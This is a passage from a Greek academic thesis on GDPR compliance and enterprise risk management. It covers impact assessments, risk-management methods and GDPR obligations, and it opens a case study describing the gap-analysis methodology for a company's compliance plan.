γ) συστηματικής και μεγάλης κλίμακας παρακολούθησης δημόσιου χώρου (άρθρο 35 παράγραφος 3 ΓΚΠΔ). Επιπλέον, η εκτίμηση αντικτύπου θα πρέπει να περιέχει κατ’ ελάχιστο:  την περιγραφή των προβλεπόμενων πράξεων επεξεργασίας των προσωπικών δεδομένων και των σκοπών της επεξεργασίας  την εκτίμηση της αναγκαιότητας και της αναλογικότητας των πράξεων επεξεργασίας σε συνάρτηση με τους σκοπούς  την εκτίμηση των κινδύνων για τα δικαιώματα και τις ελευθερίες των υποκειμένων των δεδομένων  τα προβλεπόμενα μέτρα αντιστάθμισης των δυνητικών κινδύνων, όπως η παροχή εγγυήσεων και οι μηχανισμοί ασφαλείας, ούτως ώστε να εξασφαλίζεται η προστασία των δεδομένων προσωπικού χαρακτήρα και να αποδεικνύεται η συμμόρφωση της επιχείρησης με τις επιταγές του Κανονισμού. Σημειωτέον, η παράλειψη διενέργειας αντικτύπου, η εσφαλμένη διενέργεια αυτής ή η παράλειψη διαβούλευσης με την αρμόδια εποπτική αρχή, εφόσον τούτο απαιτείται, ενδέχεται να επιφέρουν διοικητικό πρόστιμο ύψους έως 10 εκατομμυρίων ευρώ ή, σε περίπτωση επιχείρησης, έως ποσοστό 2% του συνολικού παγκόσμιου ετήσιου κύκλου εργασιών του προηγούμενου έτους, λαμβάνοντας υπόψη όποιο από τα δύο είναι μεγαλύτερο κάθε φόρα.

Διαχείριση των κινδύνων Τι είναι η διαχείριση των κινδύνων Στην σύγχρονη εποχή, η διαχείριση των κινδύνων (risk management) καθίσταται σημείο αναφοράς για την λήψη των εκάστοτε επιχειρηματικών αλλά και κοινωνικών αποφάσεων. Αποτελεί ένα διακριτό πεδίο μελέτης, το οποίο αντλεί γνώσεις από το δίκαιο, την οικονομική επιστήμη, τα μαθηματικά και την στατιστική, την μηχανική αλλά και την ψυχολογία, με απώτερο σκοπό την δημιουργία ενός πλαισίου ολιστικής διαδικασίας λήψης των αποφάσεων, οι οποίες θα προσδίδουν αξία στην επιχείρηση και θα εξασφαλίζουν την βιωσιμότητά της. Η αξία της επιχείρησης για τους μετόχους, όπως αυτή αντανακλάται στην αξία των κοινών της μετοχών, εξαρτάται από το αναμενόμενο μέγεθος, τον χρόνο και τον κίνδυνο που σχετίζονται με τις μελλοντικές χρηματοροές της εταιρείας. Οποιαδήποτε απροσδόκητη αλλαγή στην μελλοντική ρευστότητα της επιχείρησης δύναται να αποτελέσει σημαντικό παράγοντα διακύμανσης της αξίας της. Η διαχείριση των κινδύνων των επιχειρήσεων, ευρέως γνωστή με τον όρο «Enterprise Risk Management» (ERM), αποτελεί μία προσέγγιση διαχείρισης κινδύνου, η

οποία εμφανίστηκε για πρώτη φορά σαν έννοια την δεκαετία του 1990. Σήμερα, έχει καταστεί καίρια επιχειρηματική λειτουργία με αντικειμενικό στόχο την μεγιστοποίηση της αξίας της επιχείρησης, μέσω της μείωσης του κόστους των εμφανιζόμενων κάθε φορά κινδύνων. Συγκεκριμένα, το ERM αποτελεί μία ταυτόχρονη εξέταση των λεγόμενων καθαρών κινδύνων (pure risks), ήτοι εκείνων που ενέχουν πιθανότητα ζημίας και μηδενική πιθανότητα κέρδους, καθώς και των επονομαζόμενων κερδοσκοπικών κινδύνων (speculative risks), οι οποίοι χαρακτηρίζονται από την πιθανότητα είτε για κέρδος είτε για ζημία. Οι φυσικοί κίνδυνοι, όπως ο κίνδυνος πυρκαγιάς ή πλημμύρας, εντάσσονται στην κατηγορία των καθαρών κινδύνων, ενώ ο κίνδυνος επενδύσεων ή ο κίνδυνος εταιρικής φήμης συγκαταλέγονται μεταξύ των κερδοσκοπικών κινδύνων. Στην σύγχρονη εποχή, δεδομένου ότι τα αίτια εμφάνισης των ζημιών ποικίλουν ανάλογα με τις δραστηριότητες της επιχείρησης, θεωρείται σκόπιμο η διαδικασία διαχείρισης των κινδύνων να αποτελεί επακόλουθο μιας συντονισμένης και καλά οργανωμένης προσπάθειας όλων των τμημάτων της, συμπεριλαμβανομένων της παραγωγής, της οικονομικής και νομική διεύθυνσης, του τμήματος μάρκετινγκ καθώς και της διεύθυνσης ανθρώπινου δυναμικού, με σκοπό την δημιουργία του βέλτιστου δυνατού αποτελέσματος.

Διαδικασία και μέθοδοι διαχείρισης των κινδύνων Ανεξάρτητα από το είδος των κινδύνων που καλείται να αντιμετωπίσει σε καθημερινή βάση η επιχείρηση, το γενικότερο πλαίσιο διαχείρισης αυτών αποτελείται από τα ακόλουθα στάδια:  Αναγνώριση όλων των ενδεχόμενων κινδύνων  Εκτίμηση της πιθανότητας επέλευσης ζημιών και της σοβαρότητας αυτών  Επιλογή και ανάπτυξη των κατάλληλων μεθόδων για την διαχείριση των κινδύνων  Εφαρμογή των επιλεγμένων μεθόδων διαχείρισης των κινδύνων  Διαρκής αξιολόγηση της αποδοτικότητας των εφαρμοστέων μεθόδων Οι μέθοδοι διαχείρισης των επιχειρησιακών κινδύνων μπορούν να διακριθούν σε τρεις βασικές κατηγορίες, ήτοι τον έλεγχο των ζημιών, την χρηματοδότηση των ζημιών και τον εσωτερικό περιορισμό των κινδύνων, δυνάμενες να εφαρμοστούν είτε μεμονωμένα είτε από κοινού, χωρίς η μία να αποκλείει την άλλη. Κατά κύριο λόγο, η μέθοδος χρηματοδότησης των ζημιών αφορά στις αποφάσεις που λαμβάνει η Διοίκηση της επιχείρησης σχετικά με την αποκατάσταση-πληρωμή των ζημιών, σε περίπτωση επέλευσής τους, ενώ οι άλλες δύο μέθοδοι περιλαμβάνουν κατεξοχήν αποφάσεις επενδύσεων σε συστήματα ασφαλείας, προκειμένου να περιοριστούν οι αναμενόμενες ζημίες. Ως έλεγχος ζημιών (loss control) χαρακτηρίζεται το σύνολο των ενεργειών στις οποίες προβαίνει η επιχείρηση για τον περιορισμό του αναμενόμενου κόστους των δυνητικών ζημιών, μέσω της ελαχιστοποίησης

της συχνότητας και της σοβαρότητας αυτών. Ενέργειες οι οποίες επηρεάζουν την συχνότητα εμφάνισης των ζημιών είναι γνωστές με τον όρο «μέθοδοι πρόληψης των ζημιών» (loss prevention methods), ενώ οι ενέργειες εκείνες που επιδρούν σημαντικά στο μέγεθος των ζημιών αποκαλούνται «μέθοδοι περιορισμού των ζημιών» (loss reduction methods). Σε γενικές γραμμές, η μέθοδος ελέγχου των ζημιών συνίσταται αφενός στην μείωση του επιπέδου των επικίνδυνων δραστηριοτήτων και αφετέρου στην αύξηση των μέτρων προφύλαξης της επιχείρησης από αυτές. Ο περιορισμός των επικίνδυνων δραστηριοτήτων ελαττώνει την συχνότητα επέλευσης των ζημιών, ενώ η ολική εξάλειψη των επικίνδυνων δραστηριοτήτων, γνωστή και ως στρατηγική αποφυγής κινδύνου (risk avoidance), εκμηδενίζει τις πιθανότητες εμφάνισης ζημιών. Από την άλλη πλευρά, η αύξηση των μέτρων ασφαλείας για τις επικίνδυνες δραστηριότητες, όπως για παράδειγμα η εγκατάσταση εξοπλισμού ασφαλείας ή η βελτιστοποίηση των πληροφοριακών συστημάτων και του 44 δικτύου της επιχείρησης, συμβάλλει αισθητά στην μείωση όχι μόνο της συχνότητας αλλά και του μεγέθους των ζημιών. Οι μέθοδοι χρηματοδότησης των ζημιών (loss financing) αντικατοπτρίζουν την προσπάθεια εξεύρεσης των απαιτούμενων κεφαλαίων, εσωτερικών ή εξωτερικών, για την αντιστάθμιση των υφιστάμενων ζημιών και διακρίνονται στην ίδια κράτηση (retention), την ασφάλιση (insurance), την αντιστάθμιση (hedging), καθώς και άλλες συμβατικές μεταφορές κινδύνων. Μέσω της ιδίας κράτησης η επιχείρηση αναλαμβάνει την υποχρέωση να αποκαταστήσει εν όλω ή εν μέρει την εκάστοτε ζημία, ενώ μέσω της ασφάλισης, μέρος του κινδύνου μεταφέρεται από την επιχείρηση στις ασφαλιστικές εταιρείες , οι οποίες αναλαμβάνουν την προμήθεια των κεφαλαίων για την πληρωμή των ζημιών αντί καταβολής ασφαλίστρου. Η μέθοδος της αντιστάθμισης (hedging) χρησιμοποιείται κυρίως για την αντιστάθμιση των χρηματοοικονομικών κινδύνων μέσω παραγώγων χρηματοοικονομικών προϊόντων, όπως είναι τα προθεσμιακά συμβόλαια (forward based derivatives) ή τα συμβόλαια δικαιωμάτων προαίρεσης (options based derivatives). Επιπλέον, συνήθη μέθοδο στην επιχειρησιακή πρακτική αποτελεί και η χρήση συμβατικών μορφών μεταφοράς κινδύνων (contractual risk transfers), όπως για παράδειγμα οι λεγόμενες «συμβάσεις αποζημίωσης» ή «εγγυήσεις καλής εκτέλεσης έργων» που συνάπτει η επιχείρηση με τρίτα μέρη, τα οποία και αναλαμβάνουν τον κίνδυνο των επερχόμενων ζημιών. Τέλος, ο εσωτερικός περιορισμός των κινδύνων (internal risk reduction) διακρίνεται σε δύο βασικές κατηγορίες, την διασπορά (diversification) και την επένδυση στην πληροφόρηση. Η διασπορά του κινδύνου συνίσταται συνήθως στην διαφοροποίηση των δραστηριοτήτων της επιχείρησης, ενώ η επένδυση στην πληροφόρηση εξασφαλίζει στα διοικητικά στελέχη καλύτερες προβλέψεις αναφορικά με την πιθανότητα

εμφάνισης ενδεχόμενων ζημιών και ως εκ τούτου αποτελεσματικότερη διαδικασία λήψης των αποφάσεων.

Διαχείριση κινδύνων σχετικά με τα προσωπικά δεδομένα Η διαχείριση κινδύνων στα πλαίσια προστασίας των προσωπικών δεδομένων της επιχείρησης καθίσταται μία ιδιαίτερη δυσχερής και σύνθετη διαδικασία για πολλούς και διαφορετικούς λόγους, οι κυριότεροι εκ των οποίων κατά βάση εντοπίζονται στον χαμηλό βαθμό ασφάλειας των πληροφορικών της συστημάτων. Η ενσωμάτωση νέων μέτρων ασφάλειας ή η βελτίωση των ήδη υπαρχόντων συχνά προσκρούουν σε εμπόδια που σχετίζονται με την εσωτερική λειτουργία του οργανισμού, όπως είναι για παράδειγμα το υψηλό κόστος ενσωμάτωσης των μέτρων ασφαλείας, η αδυναμία 45 επικοινωνίας και συνεργασίας μεταξύ διοικητικού και τεχνικού προσωπικού της επιχείρησης, η λανθασμένη άποψη ότι η ασφάλεια των δεδομένων αποτελεί ένα αμιγώς τεχνικό θέμα, η ελλιπής υποστήριξη της Διοίκησης, η πλημμελής ενημέρωση και εκπαίδευση των εργαζομένων, η δυσκολία ανάπτυξης ενός ολοκληρωμένου σχεδίου ασφάλειας των δεδομένων αλλά και η αδυναμία αναγνώρισης και εκτίμησης των επιπτώσεων που τυχόν θα επιφέρει στην επιχείρηση η μη υλοποίηση αυτού. Παρόλο που ο Γενικός Κανονισμός δεν εξειδικεύει τον τρόπο συμμόρφωσης με τις επιταγές του, προβλέπει ωστόσο μία σειρά από αναγκαίες ενέργειες, στις οποίες θα πρέπει να προβούν οι επιχειρήσεις, προκειμένου να καταστεί δυνατή η διαχείριση των επαπειλούμενων κινδύνων για τα προσωπικά δεδομένα που αυτές συλλέγουν, αποθηκεύουν και επεξεργάζονται. Ενδεικτικά αναφέρονται :  Αρχεία δραστηριοτήτων επεξεργασίας (άρθρο 30): Ο υπεύθυνος ή ο εκτελών την επεξεργασία και, κατά περίπτωση, ο εκπρόσωπός τους, τηρεί έγγραφο ή ηλεκτρονικό αρχείο των δραστηριοτήτων επεξεργασίας, για τις οποίες φέρει την ευθύνη. Η τήρηση του εν λόγω αρχείου προϋποθέτει ότι η επιχείρηση απασχολεί περισσότερα από 250 άτομα καθώς και ότι η επεξεργασία δεν είναι περιστασιακή και δεν περιλαμβάνει ειδικές κατηγορίες δεδομένων ή δεδομένων που αφορούν σε ποινικές καταδίκες και αδικήματα. Επιπλέον, σύμφωνα με την Ομάδα Εργασίας του άρθρου 29, ο υπεύθυνος ή ο εκτελών την επεξεργασία μπορούν να αναθέτουν την τήρηση αρχείου δραστηριοτήτων στον Υπεύθυνο Προστασίας προσωπικών δεδομένων (DPO). Ωστόσο, υποστηρίζεται έντονα η άποψη ότι η ανάληψη τέτοιου καθήκοντος από πλευράς του Υπεύθυνου Προστασίας αφενός αναιρεί την επιταγή ανεξαρτησίας αυτού και αφετέρου παραβιάζει την αρχή της λογοδοσίας, δεδομένου ότι αρμόδιος για τις πράξεις επεξεργασίας αλλά και την απόδειξη συμμόρφωσης με τις επιταγές του Κανονισμού είναι αποκλειστικά ο υπεύθυνος επεξεργασίας.  Ασφάλεια επεξεργασίας

(άρθρο 32): Η επιχείρηση, έχοντας τον ρόλο του υπεύθυνου επεξεργασίας των προσωπικών δεδομένων, θα πρέπει να εφαρμόζει τα κατάλληλα τεχνικά και οργανωτικά μέτρα, ούτως ώστε να διασφαλίζεται το κατάλληλο επίπεδο ασφάλειας έναντι των επικείμενων κινδύνων. Μεταξύ των μέτρων αυτών συμπεριλαμβάνονται η ψευδωνυμοποίηση και η κρυπτογράφηση των δεδομένων προσωπικού χαρακτήρα, η δυνατότητα διαρκούς διασφάλισης του απορρήτου και της αξιοπιστίας των συστημάτων επεξεργασίας των δεδομένων, η δυνατότητα αποκατάστασης της διαθεσιμότητας και της πρόσβασης στα δεδομένα ανά πάσα στιγμή σε περίπτωση φυσικού ή τεχνικού συμβάντος, καθώς και η τακτική αξιολόγηση της αποτελεσματικότητας των τεχνικών και οργανωτικών μέτρων. 46  Γνωστοποίηση παραβίασης (άρθρα 33 και 34): Σε περίπτωση παραβίασης των δεδομένων προσωπικού χαρακτήρα, ο υπεύθυνος επεξεργασίας φέρει την υποχρέωση γνωστοποίησης του συμβάντος τόσο στην αρμόδια εποπτική αρχή όσο και στο υποκείμενο των δεδομένων υπό ορισμένες προϋποθέσεις. Συγκεκριμένα, η γνωστοποίηση στην εποπτική αρχή ορίζεται ότι θα πρέπει να γίνει αμελλητί και εντός 72 ωρών από την στιγμή που ο υπεύθυνος της επεξεργασίας λαμβάνει γνώση για την παραβίαση, εκτός εάν αυτή δεν ενδέχεται να προκαλέσει κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων. Η γνωστοποίηση απαιτείται να είναι σαφώς και επαρκώς αιτιολογημένη, αναφέροντας αναλυτικά τα πραγματικά περιστατικά, τις επελθούσες συνέπειες και τα ληφθέντα διορθωτικά μέτρα. Το ίδιο σαφής, άμεση και τεκμηριωμένη θα πρέπει να είναι και η γνωστοποίηση της παραβίασης στο υποκείμενο των δεδομένων, η οποία, ωστόσο, δεν υπόκειται σε αυστηρή χρονική προθεσμία. Ο υπεύθυνος επεξεργασίας απαλλάσσεται από την υποχρέωση γνωστοποίησης προς το υποκείμενο των δεδομένων, σε περίπτωση που έχουν ληφθεί από πλευράς του όλα τα κατάλληλα τεχνικά και οργανωτικά μέτρα προστασίας, ούτως ώστε να διασφαλίζεται ότι η παραβίαση δεν ενέχει κίνδυνο για τα δικαιώματα του υποκειμένου, ή σε περίπτωση που η εν λόγω γνωστοποίηση απαιτεί δυσανάλογες προσπάθειες από εκείνον, ενώ παράλληλα υπάρχει κάποιο άλλο παρόμοιο μέτρο με βάση το οποίο μπορεί να επιτευχθεί εξίσου η επαρκής ενημέρωση του υποκειμένου.  Εκτίμηση αντικτύπου σχετικά με την προστασία των δεδομένων (άρθρο 35): Όπως ήδη αναφέρθηκε και σε προηγούμενο κεφάλαιο, ο Κανονισμός προβλέπει ρητά την υποχρέωση της επιχείρησης να διεξάγει μελέτη εκτίμησης των επιπτώσεων των σχεδιαζόμενων από αυτήν πράξεων επεξεργασίας προσωπικών δεδομένων, σε περίπτωση που η εν λόγω επεξεργασία ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων, ιδίως εάν αυτή πραγματοποιείται με την χρήση νέων τεχνολογιών. Αυτό το μέτρο αντιστάθμισης των πιθανών κινδύνων μπορεί να καταταχθεί στην κατηγορία των μεθόδων

ελέγχου των ζημιών και συγκεκριμένα στην κατηγορία των μεθόδων πρόληψης των ζημιών.  Προηγούμενη διαβούλευση (άρθρο 36): Όταν μία εκτίμηση αντικτύπου σχετικά με την προστασία των προσωπικών δεδομένων, που έχει διεξαχθεί από τον υπεύθυνο επεξεργασίας, υποδεικνύει την άμεση πρόκληση κινδύνων για την ασφάλεια των δεδομένων, αυτός δύναται να ζητήσει την γνώμη της εποπτικής αρχής, η οποία με την σειρά της καλείται να αποφανθεί παρέχοντας εγγράφως συμβουλές στον υπεύθυνο επεξεργασίας εντός προθεσμίας οκτώ εβδομάδων από την παραλαβή του σχετικού αιτήματος διαβούλευσης. 

Ορισμός Υπεύθυνου Προστασίας Δεδομένων (άρθρο 37) Εισάγεται ο ρόλος του Υπεύθυνου Προστασίας προσωπικών δεδομένων (Data Protection Officer), ο οποίος μπορεί να ορίζεται από την επιχείρηση, όταν οι βασικές δραστηριότητες της συνιστούν πράξεις επεξεργασίας, οι οποίες λόγω της φύσης, του πεδίου εφαρμογής και των σκοπών τους, απαιτούν τακτική και συστηματική παρακολούθηση των υποκειμένων των δεδομένων σε μεγάλη κλίμακα, ή όταν αυτές συνιστούν μεγάλης κλίμακας επεξεργασία ειδικών κατηγοριών δεδομένων προσωπικού χαρακτήρα ή δεδομένων που αφορούν ποινικές καταδίκες και αδικήματα. Ο θεσμός του Υπεύθυνου Προστασίας Δεδομένων αποτελεί τον ακρογωνιαίο λίθο για την εφαρμογή της αρχής της λογοδοσίας, καθώς είναι επιφορτισμένος με την έγγραφη τεκμηρίωση πράξεων επεξεργασίας, την διεξαγωγή μελέτης εκτίμησης αντικτύπου και την τήρηση αρχείου δραστηριοτήτων επεξεργασίας.  Κώδικες δεοντολογίας και πιστοποίηση (άρθρα 40 και 42): Οι επιχειρήσεις υποχρεούνται να εκπονούν κώδικες δεοντολογίας ή να τροποποιούν τους ήδη υφιστάμενους, προκειμένου να διασφαλίζουν την συμμόρφωσή τους με τις διατάξεις του Κανονισμού, ιδίως αυτές που αφορούν στην διαφανή και αθέμιτη επεξεργασία των προσωπικών δεδομένων, την ενημέρωση των υποκειμένων των δεδομένων και την άσκηση των δικαιωμάτων τους, τις διαδικασίες και τα μέτρα ασφάλειας της επεξεργασίας των δεδομένων και την γνωστοποίηση των συμβάντων παραβίασης. Επιπλέον, προβλέπεται η θέσπιση από τα κράτη μέλη και τις εποπτικές αρχές μηχανισμών πιστοποίησης της προστασίας δεδομένων, με σκοπό την απόδειξη της συμμόρφωσης των υπεύθυνων και εκτελούντων την επεξεργασία με τις διατάξεις του Γενικού Κανονισμού προστασίας προσωπικών δεδομένων. 48 Κεφάλαιο 5 Μελέτη Περίπτωσης Διαχείρισης Κινδύνων 5.1 Αντικείμενο και στόχοι της μελέτης Αντικείμενο της παρούσας μελέτης περίπτωσης αποτελεί η διαχείριση των κινδύνων που προκύπτουν από την εκάστοτε διαδικασία επεξεργασίας προσωπικών δεδομένων στα πλαίσια λειτουργίας της εμπορικής εταιρείας X (εφεξής καλούμενης η «εταιρεία»), μέσω της πρότασης ενός συγκεκριμένου σχεδίου συμμόρφωσης αυτής με τον Γενικό Κανονισμό

Προστασίας Προσωπικών Δεδομένων (GDPR), κατόπιν προηγούμενης αξιολόγησης των κινδύνων αυτών σε σχέση με τους σκοπούς της επεξεργασίας και διεξαγωγής της απαιτούμενης ανάλυσης χάσματος (gap analysis) από τις διατάξεις του Κανονισμού. Η ανάλυση χάσματος αποτελεί μία τεχνική της επιστήμης διοίκησης, η οποία χρησιμοποιείται για τον καθορισμό εκείνων των βημάτων που απαιτούνται, προκειμένου η παρούσα κατάσταση των πραγμάτων να μετασχηματιστεί σε μία άλλη επιθυμητή κατάσταση. Κατά την εκπόνηση της μελέτης, ελήφθησαν υπόψη ο υπ’ αριθμ. 2016/679 Γενικός Κανονισμός Προστασίας Δεδομένων της Ευρωπαϊκής Ένωσης (General Data Protection Regulation), τα πρότυπα ασφάλειας ISO/IEC 27001 και ISO/IEC 27002, τα πρότυπα ISO/IEC 29134 και ISO/IEC 29100, οι κατευθυντήριες γραμμές για τον Κανονισμό που δημοσιεύονται από την Ομάδα Εργασίας του άρθρου 29 για την προστασία δεδομένων, οι υφιστάμενες διαδικασίες και λειτουργίες της εταιρείας, οι τρέχουσες εξελίξεις στις Τεχνολογίες Πληροφοριών και Επικοινωνιών, καθώς επίσης η αρχιτεκτονική και η υποδομή των υπολογιστικών και επικοινωνιακών συστημάτων. Στόχοι της μελέτης είναι η σαφής καταγραφή του επιπέδου συμμόρφωσης της εταιρείας με τον Κανονισμό και ο συνακόλουθος ο προσδιορισμός του απαραίτητου πλάνου ενεργειών, στις οποίες θα πρέπει αυτή να προβεί, ούτως ώστε να επιτευχθεί η καλύτερη δυνατή συμμόρφωση με τις κανονιστικές διατάξεις και ως εκ τούτου η αποτελεσματική διαχείριση των επαπειλούμενων κινδύνων για την προστασία των προσωπικών δεδομένων που αυτή συλλέγει, αρχειοθετεί, αποθηκεύει και επεξεργάζεται. Μεθοδολογία της έρευνας Στην παρούσα ενότητα παρουσιάζονται η γενική μεθοδολογική προσέγγιση που ακολουθήθηκε για την διεξαγωγή της εν λόγω μελέτης περίπτωσης, καθώς και οι επιμέρους μεθοδολογίες που χρησιμοποιήθηκαν για την υλοποίηση συγκεκριμένων τμημάτων αυτής. Ο στρατηγικός χαρακτήρας της μελέτης προσδιορίζει τη σπουδαιότητα εφαρμογής μιας συνεκτικής και δομημένης προσέγγισης, που θα αποδίδει την απαιτούμενη έμφαση σε όλες τις ενότητες των εργασιών της, εξασφαλίζοντας την μεταξύ τους ολοκλήρωση και συνέχεια, προκειμένου το σύνολο των δραστηριοτήτων της εταιρείας να συνθέσει ένα νέο ολοκληρωμένο πλαίσιο προστασίας των προσωπικών δεδομένων. Λαμβάνοντας υπόψη τα ανωτέρω, υιοθετήθηκε μια προσέγγιση που αποτελείται από τις πλέον ενδεδειγμένες, δοκιμασμένες και επιστημονικά καταξιωμένες μεθοδολογίες που συμπληρώνονται από ειδικότερες διαδικασίες, τεχνικές και εργαλεία. Συγκεκριμένα, μεθοδολογία που υιοθετήθηκε για την υλοποίηση της έρευνας είναι η διεθνής μεθοδολογία PRINCE 2, η οποία εξειδικεύεται: α) στη μεθοδολογία αποτίμησης του αντίκτυπου στην ιδιωτικότητα (Privacy Impact Assessment (PIA)) σύμφωνα με το πρότυπο ISO/IEC 29134 β) στη μεθοδολογία «Plan-

Do-Check-Act» για την υλοποίηση του συστήματος διαχείρισης της ασφάλειας των προσωπικών δεδομένων. Πρόκειται για μία διεργασιοκεντρική προσέγγιση (process-based approach), η οποία αποτελεί επαναληπτική μέθοδο τεσσάρων βημάτων, ήτοι του σχεδιασμού (plan), της υλοποίησης των σχεδίων (do), του ελέγχου (check) των αποτελεσμάτων συγκριτικά με τους στόχους που έχουν τεθεί και της διόρθωσης (act) όποιων δραστηριοτήτων απαιτείται για την επίτευξη του καλύτερου δυνατού αποτελέσματος. Ειδικότερα, για την εκπόνηση της μελέτης πραγματοποιήθηκαν οι ακόλουθες επιμέρους ενέργειες: 1) Αρχικός Προγραμματισμός Έργου Στόχος του αρχικού προγραμματισμού ήταν η διασφάλιση ότι όλες οι προαπαιτούμενες ενέργειες είχαν ολοκληρωθεί και συνεπώς το έργο ήταν σε θέση να ξεκινήσει. Η διαδικασία πρόβλεπε ενέργειες που είχαν ως αποτέλεσμα τη δημιουργία των παρακάτω προϊόντων:

•

καθορισμός του οργανωτικού σχήματος της εταιρείας

•

συνοπτική περιγραφή του έργου, δηλαδή τους στόχους και το εύρος του έργου, καθώς και την προσέγγιση υλοποίησής του, δηλαδή μια πρώτη εκτίμηση του τεχνικού σχεδίου και του σχεδίου πόρων υλοποίησης (ανάλυση του έργου σε δραστηριότητες, χρονοπρογραμματισμός και απαιτούμενοι πόροι για την υλοποίησή τους)

•

επισκόπηση και προσαρμογή των φάσεων υλοποίησης του έργου καθώς και των αποτελεσμάτων ανά φάση

•

αναθεώρηση του συνολικού χρονοδιαγράμματος το οποίο αποτέλεσε την βάση παρακολούθησης της πορείας του έργου

•

ενημέρωση του προσωπικού της εταιρείας που ενεπλάκη άμεσα ή έμμεσα στην ανάπτυξη του συστήματος προστασίας και διαχείρισης των προσωπικών δεδομένων

2) Εκπαίδευση Εκπαιδεύτηκε κατάλληλα το προσωπικό που θα συμμετείχε ενεργά στην διεξαγωγή της μελέτης με έμφαση στις απαιτήσεις του Κανονισμού, ενώ παράλληλα ενημερώθηκε για την μεθοδολογία και για τα έντυπα που χρησιμοποιήθηκαν. Η εκπαίδευση του προσωπικού στηρίχθηκε στη μεθοδολογία Plan-Do-Check-Act (PDCA) και παρουσίασε από όλες τις οπτικές γωνίες, νομική, τεχνολογική και διοικητική, τα πλέον κρίσιμα ζητήματα του Γενικού Κανονισμού Προστασίας των Δεδομένων. 3) Καταγραφή της Πληροφοριακής Υποδομής Σκοπός του σταδίου αυτού ήταν η αναγνώριση και οριοθέτηση του λειτουργικού περιβάλλοντος της εταιρείας, καθώς και η καταγραφή των πληροφοριακών συστημάτων αυτής, τα οποία επεξεργάζονται ή αποθηκεύουν προσωπικά

δεδομένα. Η καταγραφή αυτή αφορά στους κρίσιμους πληροφοριακούς πόρους (information assets) της εταιρείας, κατά την λειτουργία των οποίων πραγματοποιείται επεξεργασία των προσωπικών δεδομένων. Ο προσδιορισμός των κρίσιμων περιουσιακών στοιχείων (assets), αποτελεί σημαντική πληροφόρηση για την ορθή και αποτελεσματική αξιολόγηση των κινδύνων ασφάλειας πληροφοριών. Ως εκ τούτου, κρίθηκε απαραίτητη η δημιουργία ενός καταλόγου στον οποίο να περιλαμβάνονται όλοι οι πόροι, οι οποίοι συμμετέχουν στις διεργασίες της εν λόγω περιοχής ελέγχου και σχετίζονται με την επεξεργασία των προσωπικών δεδομένων. Ο συγκεκριμένος κατάλογος προσδιόρισε το εύρος, το αντικείμενο και το σχεδιασμό υλοποίησης της εκάστοτε αξιολόγησης κινδύνων. Κάθε τέτοιος πόρος φέρει κάποια αξία για την εταιρεία, γι’ αυτό και χρήζει της ανάλογης προστασίας. 4) Προσδιορισμός Νομικού και Κανονιστικού Πλαισίου Ασφάλειας Πληροφοριών Κατά την φάση αυτή, πραγματοποιήθηκε ο απαιτούμενος νομικός έλεγχος με βάση τα ευρήματα της χαρτογράφησης ροής δεδομένων, σε σχέση με τις τρέχουσες χρήσεις της εταιρείας. Ειδικότερα, ελέγχθηκαν οι συμβάσεις με επιχειρηματικούς εταίρους, προμηθευτές και πελάτες, οι εφαρμοσμένες διαδικασίες και οι υφιστάμενες εταιρικές πολιτικές, περιλαμβανομένης της διαδικασίας διαχείρισης απειλών, αιτιάσεων και κινδύνων που εμπίπτουν στο πεδίο του Κανονισμού ΕΕ 2016/679, οι τυχόν μεταφορές δεδομένων εκτός της ΕΕ καθώς και όλοι τρόποι επεξεργασίας δεδομένων προσωπικού χαρακτήρα. 5) Δημιουργία του αρχείου επεξεργασίας των προσωπικών δεδομένων Η χαρτογράφηση των προσωπικών δεδομένων, τα οποία επεξεργάζεται η εταιρεία, σε ένα ενιαίο αρχείο, βασίστηκε στην συλλογή στοιχείων μέσω συνεντεύξεων που πραγματοποιήθηκαν με αντιπροσώπους της κάθε επιμέρους διεύθυνσης και στην συνακόλουθη επεξεργασία των στοιχείων αυτών περαιτέρω. Κατά το στάδιο των συνεντεύξεων έγινε συστηματική καταγραφή της υφιστάμενης κατάστασης των προσωπικών δεδομένων που τυγχάνουν επεξεργασίας, ήτοι η καταγραφή των κατηγοριών των δεδομένων και των υποκειμένων τους, του σκοπού της επεξεργασίας ανά είδος δεδομένων, των αποδεκτών στους οποίους γνωστοποιούνται

τα

δεδομένα

ανά

κατηγορία,

των

προβλεπόμενων

χρόνων

τήρησης/προθεσμίες διαγραφής των διάφορων κατηγοριών δεδομένων και των τεχνικών και οργανωτικών μέτρων που λαμβάνονται για την ασφάλεια αυτών. Στην συνέχεια, εξετάστηκε συγκριτικά με τις απαιτήσεις του Κανονισμού κάθε κατηγορία προσωπικών δεδομένων και κάθε σκοπός επεξεργασίας, ώστε να διαπιστωθεί ο βαθμός συμμόρφωσης της εταιρείας σε θέματα νομιμότητας των σκοπών, συναίνεσης και ενημέρωσης των υποκειμένων, ελαχιστοποίησης των δεδομένων και περιορισμού της περιόδου αποθήκευσης αυτών.

6) Επισκόπηση της Αρχιτεκτονικής Ασφαλείας Σκοπό του σταδίου αυτού αποτέλεσε η εξέταση και καταγραφή των υφιστάμενων δικλείδων ασφάλειας που έχουν υιοθετηθεί και εφαρμόζονται από την εταιρεία, οργανωτικής ή τεχνικής φύσης, γεγονός το οποίο συνέβαλε στην αρχική εκτίμηση των αδυναμιών και των κινδύνων που καλείται αυτή να αντιμετωπίσει σχετικά με την προστασία των προσωπικών δεδομένων που επεξεργάζεται. Ενδεικτικά αναφέρονται οι ακόλουθες ενέργειες που πραγματοποιήθηκαν: • Επανεξέταση της υφιστάμενης αρχιτεκτονικής υποδομών των δικτύων και των τεχνολογιών πληροφορικής σε τεχνικό και επιχειρησιακό επίπεδο • Ανασκόπηση της υπάρχουσας τεκμηρίωσης δικτύων και πληροφορικής • Τεχνικές συνεντεύξεις με τους ιδιοκτήτες συστημάτων (π.χ. διαχειριστές δικτύων και συστημάτων, διαχειριστές ασφαλείας, κλπ) • Αξιολόγηση των ελέγχων ασφαλείας που εφαρμόζονται και ανίχνευση κρίσιμων περιοχών όσον αφορά την ασφάλεια των πληροφοριών • Επισκόπηση των αντίστοιχων πολιτικών και διαδικασιών ασφαλείας που διέπουν το δίκτυο και την υποδομή πληροφορικής. 7) Ανάλυση Αποκλίσεων και Πλάνο Συμμόρφωσης Η αποτίμηση της συμμόρφωσης της επιχείρησης με το Γενικό Κανονισμό Προστασίας Δεδομένων (GDPR), τις βέλτιστες πρακτικές και τα διεθνή πρότυπα διαρθρώνεται στους ακόλουθους τομείς:

